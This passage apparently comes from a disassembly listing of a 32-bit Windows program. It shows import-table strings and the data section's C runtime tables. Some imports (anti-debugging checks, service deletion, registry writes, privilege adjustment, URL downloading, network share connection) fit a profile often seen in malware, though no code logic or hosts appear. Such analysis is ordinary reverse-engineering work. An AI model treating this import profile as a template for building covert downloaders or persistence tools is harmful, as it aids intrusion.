22798h, 22786h, 22776h dd 22766h, 2274Ch, 22736h, 2271Ch, 22704h, 226EAh, 226DCh dd 226CCh, 226BAh, 226ACh, 2269Ch, 2268Eh, 22680h, 22672h dd 2265Ah, 22642h, 2262Ah, 2261Ah, 22610h, 22602h, 225F6h dd 225E8h, 225DCh, 225D2h, 224DEh, 224EAh, 22500h, 2251Ch dd 2253Ah, 22554h, 22566h, 22578h, 2258Ah, 22596h, 225A2h dd 225BAh, 0 dd 224C0h, 0 dd 8000000Bh, 8000001Fh, 80000018h, 80000029h, 8000004Bh dd 0 dd 22448h, 0 dd 222C2h, 222A0h, 22294h, 22280h, 2226Eh, 2225Ch, 22248h dd 222B4h, 2223Ah, 0 dd 22490h, 2247Ch, 224A4h, 0 dd 80000003h, 80000013h, 80000065h, 8000000Dh, 80000001h dd 80000006h, 80000034h, 80000004h, 80000074h, 80000005h dd 80000014h, 80000015h, 8000000Fh, 80000012h, 80000011h dd 8000000Ch, 8000000Bh, 8000000Ah, 80000002h, 80000010h dd 80000073h, 80000009h, 80000017h, 80000033h, 0 dd 65480210h, 6C417061h, 636F6Ch, 65480216h, 72467061h dd 6565h, 654701DFh, 63695474h, 756F436Bh, 746Eh, 65470145h dd 72754374h, 746E6572h, 65726854h, 6461h, 654701A3h, 6F725074h dd 73736563h, 70616548h, 3560000h, 65656C53h, 35E0070h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 1C10000h aGetsystemdirec db 'GetSystemDirectoryA',0 dd 65470171h, 73614C74h, 72724574h, 726Fh, 654701A0h, 6F725074h dd 64644163h, 73736572h, 2520000h, 64616F4Ch, 7262694Ch dd 41797261h, 17F0000h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 1460000h aGetcurrentthre db 'GetCurrentThreadId',0 align 4 a4 db '4',0 aClosehandle db 'CloseHandle',0 dw 358h aSuspendthread db 'SuspendThread',0 dw 2D2h aResumethread db 'ResumeThread',0 align 2 aG db 'ƒ',0 aDeletefilea db 'DeleteFileA',0 db 42h ; B db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 dd 69560384h, 61757472h, 6572466Ch, 784565h, 69560387h dd 61757472h, 6F72506Ch, 74636574h, 7845h, 69560382h, 61757472h dd 6C6C416Ch, 7845636Fh, 2390000h aIsdebuggerpres db 'IsDebuggerPresent',0 db '¹',0 aExitprocess db 'ExitProcess',0 dd 65470174h, 636F4C74h, 49656C61h, 416F666Eh, 2A30000h aQueryperforman db 'QueryPerformanceCounter',0 aF db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 2 dw 17Dh aGetmodulefil_0 db 'GetModuleFileNameA',0 align 10h db 0A4h ; ¤ db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 654701E9h, 72655674h, 6E6F6973h, 417845h, 72430053h dd 65746165h, 656C6946h, 1630041h, 46746547h, 53656C69h dd 657A69h, 6553031Bh, 6C694674h, 696F5065h, 7265746Eh dd 2B50000h, 64616552h, 656C6946h, 3900000h aWaitforsingleo db 'WaitForSingleObject',0 aC_0 db 'C',0 aCopyfilea db 'CopyFileA',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 0A4h ; ¤ db 3, 57h, 72h aItefile db 'iteFile',0 db 'º',0 aExitthread db 'ExitThread',0 align 2 aO db 'o',0 aCreatethread db 'CreateThread',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 aO_0 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 dw 275h aMultibytetowid db 'MultiByteToWideChar',0 dd 736C03CCh, 656C7274h, 416Eh, 4E52454Bh, 32334C45h, 6C6C642Eh dd 1BA0000h, 64616F4Ch, 73727543h, 41726Fh, 694400A1h dd 74617073h, 654D6863h, 67617373h, 4165h, 6544008Eh, 6E695766h dd 50776F64h, 41636F72h, 600000h, 61657243h, 69576574h dd 776F646Eh, 417845h, 725402AAh, 6C736E61h, 4D657461h dd 61737365h, 6567h, 6F4C01BEh, 63496461h, 416E6Fh, 65520217h dd 74736967h, 6C437265h, 45737361h, 4178h, 6547013Ah, 73654D74h dd 65676173h, 10B0041h, 43746547h, 6F737275h, 736F5072h dd 53550000h, 32335245h, 6C6C642Eh, 1AF0000h, 6E65704Fh dd 76726553h, 41656369h, 3E0000h aCloseserviceha db 'CloseServiceHandle',0 align 4 aP db '¯',0 aDeleteservice db 'DeleteService',0 dd 704F01B1h, 68546E65h, 64616572h, 656B6F54h, 14F006Eh aLookupprivileg db 'LookupPrivilegeValueA',0 dw 132h aImpersonatesel db 'ImpersonateSelf',0 db 0ECh ; ì db 1, 52h, 65h aGopenkeyexa db 'gOpenKeyExA',0 db 0C4h ; Ä db 1, 51h, 75h aEryservicestat db 'eryServiceStatusEx',0 align 4 dd 704F01ADh, 43536E65h, 616E614Dh, 41726567h, 1E10000h dd 45676552h, 566D756Eh, 65756C61h, 420041h, 746E6F43h dd 536C6F72h, 69767265h, 6563h, 655201DDh, 756E4567h, 79654B6Dh dd 1C0041h aAdjusttokenpri db 'AdjustTokenPrivileges',0 dw 1CBh aRegclosekey db 'RegCloseKey',0 db 4 db 2, 52h, 65h aGsetvalueexa db 'gSetValueExA',0 align 2 dw 1F7h aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 1D1h aRegcreatekeyex db 'RegCreateKeyExA',0 db 0D8h ; Ø db 1, 52h, 65h aGdeletevaluea db 'gDeleteValueA',0 dw 124h aGetusernamea db 'GetUserNameA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 aOdbc32_dll db 'ODBC32.dll',0 align 10h aWs2_32_dll db 'WS2_32.dll',0 align 4 aU db '“',0 aInternetopenur db 'InternetOpenUrlA',0 align 10h db 'š',0 aInternetreadfi db 'InternetReadFile',0 align 4 aT db '’',0 aInternetopena db 'InternetOpenA',0 aWininet_dll db 'WININET.dll',0 db 6 align 2 aWnetaddconnect db 'WNetAddConnection2A',0 aMpr_dll db 'MPR.dll',0 dw 21Ch aHeapsize db 'HeapSize',0 align 2 dw 143h aGetcurrentproc db 'GetCurrentProcessId',0 db 6Eh ; n db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 1CAh aGetsystemtimea db 'GetSystemTimeAsFileTime',0 dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1B70041h dd 53746547h, 74726174h, 6E497075h, 416F66h, 615202A7h dd 45657369h, 70656378h, 6E6F6974h, 2D70000h, 556C7452h dd 6E69776Eh, 1040064h, 43746547h, 666E4950h, 22C006Fh aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 228h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 0FDh aGetacp db 'GetACP',0 align 4 dd 65470193h, 4D454F74h, 5043h, 6C540365h, 74654773h, 756C6156h dd 3630065h, 41736C54h, 636F6C6Ch, 3660000h, 53736C54h dd 61567465h, 65756Ch, 6C540364h, 65724673h, 3280065h dd 4C746553h, 45747361h, 726F7272h, 810000h aDeletecritical db 'DeleteCriticalSection',0 dw 251h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aS_20 db '˜',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 214h aHeapdestroy db 'HeapDestroy',0 dd 65480212h, 72437061h, 65746165h, 3830000h, 74726956h dd 466C6175h, 656572h, 69560381h, 61757472h, 6C6C416Ch dd 636Fh, 6548021Ah, 65527061h, 6F6C6C41h, 3240063h, 48746553h dd 6C646E61h, 756F4365h, 746Eh, 654701B9h, 64745374h, 646E6148h dd 656Ch, 65470166h, 6C694674h, 70795465h, 0F60065h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 55h ; U db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 394h aWidechartomult db 'WideCharToMultiByte',0 db 57h ; W db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 244h aLcmapstringa db 'LCMapStringA',0 align 2 dw 245h aLcmapstringw db 'LCMapStringW',0 align 2 dw 1BAh aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701BDh, 72745374h, 54676E69h, 57657079h, 2230000h aInitializecr_0 db 'InitializeCriticalSection',0 dw 122h aGetconsolecp db 'GetConsoleCP',0 align 2 dw 133h aGetconsolemode db 'GetConsoleMode',0 align 4 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_0 db 'î',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 99h ; ™ db 3, 57h, 72h aIteconsolea db 'iteConsoleA',0 db 35h ; 5 db 1, 47h, 65h aTconsoleoutput db 'tConsoleOutputCP',0 align 2 dw 3A3h aWriteconsolew db 'WriteConsoleW',0 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 _rdata ends ; Section 3. (virtual address 00023000) ; Virtual size : 00011DFC ( 73212.) ; Section size in file : 00011DFC ( 73212.) ; Offset to raw data for section: 00023000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 423000h dd offset aBadAllocation ; "bad allocation" dd offset aBadAllocation ; "bad allocation" off_423008 dd offset off_41D38C ; DATA XREF: .rdata:00420D94o ; .rdata:00420DBCo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd offset aBadAllocation ; "bad allocation" dd offset aBadAllocation ; "bad allocation" off_423030 dd offset off_41D38C ; DATA XREF: .rdata:00420DF8o ; .rdata:00420E18o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 off_423048 dd offset aBadAllocation ; DATA XREF: std::bad_alloc::bad_alloc(void)+3o ; "bad allocation" align 10h dword_423050 dd 2 ; DATA XREF: __NMSG_WRITE+42r ; __FF_MSGBANNER+19r ... align 10h dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) dword_423064 dd 70C954E6h ; DATA XREF: sub_401C1D+9r ; sub_401CC0+Cr ... dword_423068 dd 8F36AB19h ; DATA XREF: ___report_gsfailure+AEr ; ___security_init_cookie+29w ... align 10h dword_423070 dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: setSBCS(threadmbcinfostruct *)+29o ; ___updatetmbcinfo+63o ... dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 31h dup(0) dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 0 db 0 align 2 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 align 4 dd 21h dup(0) byte_423290 db 0 ; DATA XREF: __setmbcp+102w align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h, 0 byte_423398 db 0 ; DATA XREF: __setmbcp+11Ew align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh ; void *Memory Memory dd 9B2980h ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+41r ; ___updatetmbcinfo+4Cr ... byte_42349C db 1 ; DATA XREF: __setmbcp_nolock+E3r db 2, 4, 8 dword_4234A0 dd 3A4h ; DATA XREF: __setmbcp_nolock:loc_404AFAr dword_4234A4 dd 82798260h ; DATA XREF: __setmbcp_nolock+12Br dd 21h, 0 dword_4234B0 dd 0DFA6h ; DATA XREF: __setmbcp_nolock+C6r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd offset dword_41DF40+4 dword_423594 dd 0FFFFFFFEh ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+2Cr ; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+4Cr ... dword_423598 dd 43h, 0 ; DATA XREF: ___freetlocinfo:loc_404F1Eo ; ___addlocaleref:loc_404FACo ... dword_4235A0 dd 2, 15h dup(0) ; DATA XREF: __updatetlocinfoEx_nolock+28o ; _freefls(x)+DAo ... dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd offset dword_423598 dd 3 dup(0) dd 2 dup(1), 3 dup(0) dd offset off_423F38 dd 2 dup(0) off_423668 dd offset asc_41DD40 ; DATA XREF: _isdigit+Dr _isxdigit+Dr ... ; " ((((( H" dd offset dword_41E148+80h dd offset dword_41E148+200h dd offset off_423E78 off_423678 dd offset dword_4235A0 ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+24r ; ___updatetlocinfo+4Er ... dd 1 off_423680 dd offset dword_4235A0 ; DATA XREF: _strtol+17o dd offset dword_423070 dword_423688 dd 0Eh ; DATA XREF: __encode_pointer+13r ; __decode_pointer+13r ... dword_42368C dd 0Dh ; DATA XREF: __encode_pointer+1r ; __encode_pointer+1Er ... dword_423690 dd 1 ; DATA XREF: __get_errno_from_oserr:loc_40579Er dword_423694 dd 16h ; DATA XREF: __get_errno_from_oserr:loc_4057B9r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_4237F8 dd 0Ch ; DATA XREF: __errno+9o dword_4237FC dd 8 ; DATA XREF: ___doserrno+9o off_423800 dd offset dword_425E18 ; DATA XREF: __mtinitlocks:loc_4058BEw ; __mtdeletelocks+8o ... dword_423804 dd 1 ; DATA XREF: __mtinitlocks:loc_40588Ar dd offset dword_425E30 dd 1, 2 dup(0) dd offset dword_425E48 dd 1, 425E60h, 1, 2 dup(0) dd offset dword_425E78 dd 1, 425E90h, 1, 425EA8h, 1, 2 dup(0) dd offset dword_425EC0 dd 1, 9B44F0h, 0 dd offset dword_425ED8 dd 1, 425EF0h, 1, 425F08h, 1, 2 dup(0) dd offset dword_425F20 dd 1, 425F38h, 1, 425F50h, 1, 9B44D0h, 21h dup(0) dword_423920 dd 10h ; DATA XREF: __mtdeletelocks+2Ao ; __mtdeletelocks+4Ao ; char *Str Str dd offset aNull ; DATA XREF: __output_l:loc_406EC5r ; __output_l+7E7r ; "(null)" off_423928 dd offset aNull_0 ; DATA XREF: __output_l+433r ; "(null)" align 10h off_423930 dd offset __exit ; DATA XREF: __amsg_exit+Er ; __init_pointers+45w dd 3 dup(0) dd offset aBadAllocation ; "bad allocation" align 10h off_423950 dd offset dword_433DC0 ; DATA XREF: sub_408084o ; ___initstdio+52o ... align 8 dd offset dword_433DC0 dd 101h dword_423960 dd 0FFFFFFFEh, 0 ; DATA XREF: ___initstdio+74o dd 1000h, 4 dup(0) dd 2, 0FFFFFFFEh, 6 dup(0) dd 2, 0FFFFFFFEh, 7 dup(0) dword_4239C0 dd 3, 0 ; DATA XREF: ___initstdio+A4o dd 1000h, 79h dup(0) dword_423BB0 dd 8 dup(0) ; DATA XREF: __lock_file+Do ; __unlock_file+Do dword_423BD0 dd 0FFFFFFFFh, 0A80h, 0Ah dup(0) ; DATA XREF: _fprintf:loc_4032A3o ; _fprintf:loc_4032E8o ... dword_423C00 dd 2 ; DATA XREF: __NMSG_WRITE:loc_409AC0r ; char *off_423C04 off_423C04 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE:loc_409BE4r ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41DA94h, 9, 41DA68h, 0Ah, 41D9D0h, 10h, 41D9A4h dd 11h, 41D974h, 12h, 41D950h, 13h, 41D924h, 18h, 41D8ECh dd 19h, 41D8C4h, 1Ah, 41D88Ch, 1Bh, 41D854h, 1Ch, 41D82Ch dd 1Eh, 41D80Ch, 1Fh, 41D7A8h, 20h, 41D770h, 21h, 41D678h dd 22h, 41D5D8h, 78h, 41D5C8h, 79h, 41D5B8h, 7Ah, 41D5A8h dd 0FCh, 41D5A4h, 0FFh, 41D594h byte_423CB8 db 0 ; DATA XREF: __read_nolock:loc_40A10Er ; __read_nolock+36Fr align 4 dd 2Fh dup(0) dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2 dup(0) dword_423DB8 dd 1B3Fh ; DATA XREF: __floor_default+Dr align 10h dword_423DC0 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __initptd+1Do ; _freefls(x)+6Eo dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_423E38 dd 3 ; DATA XREF: __XcptFilter+A1r ; __XcptFilter+C0r ... dword_423E3C dd 7 ; DATA XREF: __XcptFilter+A7r ; __XcptFilter+C6r ... dd 78h dword_423E44 dd 0Ah ; DATA XREF: __XcptFilter+22r ; _siglookup+4r dd offset aBadAllocation ; "bad allocation" dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) off_423E50 dd offset off_41D38C ; DATA XREF: unknown_libname_104+128o ; .rdata:00420E40o ... align 8 a_?avbad_except db '.?AVbad_exception@std@@',0 dd offset asc_41DD40 ; " ((((( H" dd offset dword_41DF40+2 off_423E78 dd offset aSun ; DATA XREF: ___freetlocinfo+D9o ; .data:00423674o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset dword_41E148+300h dd 409h, 2 dup(1), 423E78h dword_423F34 dd 2Eh ; DATA XREF: .data:off_423F38o off_423F38 dd offset dword_423F34 ; DATA XREF: ___freetlocinfo+14o ; ___free_lconv_num+Br ... off_423F3C dd offset dword_426418 ; DATA XREF: ___free_lconv_num+1Dr off_423F40 dd offset dword_426418 ; DATA XREF: ___free_lconv_num+2Fr off_423F44 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+Cr off_423F48 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+1Er off_423F4C dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+30r off_423F50 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+42r off_423F54 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+54r off_423F58 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+66r off_423F5C dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+78r dd 2 dup(7F7F7F7Fh), 423F38h, 1, 2Eh, 1, 2 dup(0) off_423F80 dd offset __cfltcvt ; DATA XREF: __initp_misc_cfltcvt_tab:loc_40D5A2r ; __cfltcvt_init+5w off_423F84 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Aw off_423F88 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w off_423F8C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew off_423F90 dd offset __positive ; DATA XREF: __cfltcvt_init+28w off_423F94 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w off_423F98 dd offset __cfltcvt_l ; DATA XREF: __output_l+61Ar ; __cfltcvt_init+37w off_423F9C dd offset __fassign_l ; DATA XREF: __input_l+5F1r ; __cfltcvt_init+41w off_423FA0 dd offset __cropzeros_l ; DATA XREF: __output_l+65Fr ; __cfltcvt_init+4Bw off_423FA4 dd offset __forcdecpt_l ; DATA XREF: __output_l+640r ; __cfltcvt_init+55w align 10h dword_423FB0 dd 19930520h, 3 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o dword_423FC0 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __except1+5Dr dd 9875h, 9873h, 0 dword_423FD0 dd 14h ; DATA XREF: __umatherr:loc_40FD5Er off_423FD4 dd offset aExp ; DATA XREF: __umatherr:loc_40FDCEr ; "exp" dd 1Dh, 41DC18h, 1Ah, 41DC08h, 1Bh, 41DC0Ch, 1Fh, 41EE10h dd 13h, 41EE08h, 21h, 41EE00h, 0Eh, 41DC00h, 0Dh, 41DBF8h dd 0Fh, 41DBDCh, 10h, 41EDF8h, 5, 41EDF0h, 1Eh, 41DBC0h dd 12h, 41DBBCh, 20h, 41DBB8h, 0Ch, 41DBD4h, 0Bh, 41DBCCh dd 15h, 41EDE8h, 1Ch, 41DBC4h, 19h, 41EDE0h, 11h, 41EDD8h dd 18h, 41EDD0h, 16h, 41EDC8h, 17h, 41EDC0h, 22h, 41EDBCh dd 23h, 41EDB8h, 24h, 41EDB4h, 25h, 41EDACh, 26h, 41EDA0h dbl_4240B8 dq 1.797693134862316e308 ; DATA XREF: __handle_exc:loc_40FBF0r ; __handle_exc:loc_40FBF8r dd 0 dd 0FFF80000h dbl_4240C8 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+89r ; __handle_exc+A4r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4240E0 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Br ; __set_statfp+1Er align 4 tbyte_4240EC dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+30r align 4 dword_4240F8 dd 1 ; DATA XREF: ___set_fpsr_sse2+1Cr ; ___set_fpsr_sse2+4Cw byte_4240FC db 3 ; DATA XREF: _abort+1Br ; _abort:loc_4101FBr align 10h dd 7080h, 1, 0FFFFF1F0h, 0 dword_424110 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:00424190o dword_424150 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:00424194o dd offset dword_424110 dd offset dword_424150 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch dword_424218 dd 2 ; DATA XREF: __putwch_nolock+13r ; __putwch_nolock+4Fr ... align 10h dword_424220 dd 0FFFFFFFEh ; DATA XREF: ___termcon:loc_411463r dword_424224 dd 0FFFFFFFEh ; DATA XREF: __putwch_nolock+1Br ; __putwch_nolock:loc_410505r ... align 10h dword_424230 dd 400h ; DATA XREF: sub_411969:loc_411D0Dr ; sub_411969+44Dr dword_424234 dd 0FFFFFC01h ; DATA XREF: sub_411969:loc_411AD8r dword_424238 dd 35h ; DATA XREF: sub_411969+78r ; sub_411969+176r ... dword_42423C dd 0Bh ; DATA XREF: sub_411969:loc_411C74r ; sub_411969+3AAr ... dword_424240 dd 40h ; DATA XREF: sub_411969+519r dword_424244 dd 3FFh ; DATA XREF: sub_411969+452r ; sub_411969:loc_411DCCr dword_424248 dd 80h ; DATA XREF: sub_411EAB:loc_41224Fr ; sub_411EAB+44Dr dword_42424C dd 0FFFFFF81h ; DATA XREF: sub_411EAB:loc_41201Ar dword_424250 dd 18h ; DATA XREF: sub_411EAB+78r ; sub_411EAB+176r ... dword_424254 dd 8 ; DATA XREF: sub_411EAB:loc_4121B6r ; sub_411EAB+3AAr ... dword_424258 dd 20h ; DATA XREF: sub_411EAB+519r dword_42425C dd 7Fh ; DATA XREF: sub_411EAB+452r ; sub_411EAB:loc_41230Er dword_424260 dd 2 dup(0) ; DATA XREF: ___strgtold12_l+363o ; _$I10_OUTPUT+18Eo dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4243C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___strgtold12_l+37Ao ; _$I10_OUTPUT+1B3o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h 